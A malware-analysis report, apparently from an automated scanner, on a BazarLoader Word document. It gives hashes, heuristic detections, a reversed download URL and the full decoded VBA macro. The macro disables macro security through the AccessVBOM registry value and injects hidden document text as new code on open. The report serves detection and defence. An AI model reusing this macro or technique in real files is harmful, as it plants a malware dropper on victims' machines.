BazarLoader — Office (OOXML) malware analysis

Static analysis result for SHA-256 4aacfe7095d3893b…

MALICIOUS

Office (OOXML)

47.4 KB Created: 2021-07-01 10:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: 25a7b60463ae1886b9db7c292b0b99b3 SHA-1: dd8d8ada17ebbfb16abda2931fe1919f339757dd SHA-256: 4aacfe7095d3893b0d76ab34c7624e7ec34cb4af263fb6af1820454c168e6ca6
330 Risk Score

Malware Insights

BazarLoader · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes a function that downloads a payload from the reconstructed URL "http://185.199.108.153/9soz/uHtLyZL6xvRABZGLpJDF6xDOmE4ekTQsFvoxwiBZxx/U07CgZJnLgED48gp/tfccGbRtNKVrfXATU/adda/moc.dnuohlaceriw//:ptth". The script also writes to the registry key "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM", likely to disable macro security. The ClamAV detection name "Doc.Downloader.BazarBlue09212-9898946-0" strongly suggests the BazarLoader family.

Heuristics 9

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Sub clearSize()
CreateObject("wscript.shell").RegWrite listConst, 1, "REG_DWORD"
End Sub
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub clearSize()
CreateObject("wscript.shell").RegWrite listConst, 1, "REG_DWORD"
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub clearSize()
CreateObject("wscript.shell").RegWrite listConst, 1, "REG_DWORD"
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub exceptionArg(titleRepoNamespace)
Set requestArrPtr = GetObject("", "word.application")
With requestArrPtr.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
clearSize
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1478 bytes
SHA-256: d3ea028dcd1be2a203c1686fdb265bf08dbd37144e465def1da6f610c2c79659
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "selectLeft"
Function countTitle()
countTitle = ActiveDocument.Range.Text
End Function
Sub clearSize()
CreateObject("wscript.shell").RegWrite listConst, 1, "REG_DWORD"
End Sub
Function argPaste()
argPaste = valueEx(countTitle, 8 / 4, 1500000)
End Function
Function valueEx(memProc, pasteWScreen, mainLeftVariable)
valueEx = Mid(memProc, pasteWScreen, mainLeftVariable)
End Function

Attribute VB_Name = "listDatabaseOption"
Function queryMainGlobal(repoDeleteGeneric)
length = Len(repoDeleteGeneric)
For i = 0 To length - 1
reversedText = reversedText & Mid(repoDeleteGeneric, (length - i), 1)
Next
queryMainGlobal = reversedText
End Function
Sub autoopen()
clearSize
exceptionArg queryMainGlobal(argPaste)
End Sub
Sub exceptionArg(titleRepoNamespace)
Set requestArrPtr = GetObject("", "word.application")
With requestArrPtr.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString titleRepoNamespace
End With
requestArrPtr.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function listConst()
listConst = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: b6825b368404d04a611de57812a988c8fb597a32d84db803cd2fc1629134af99

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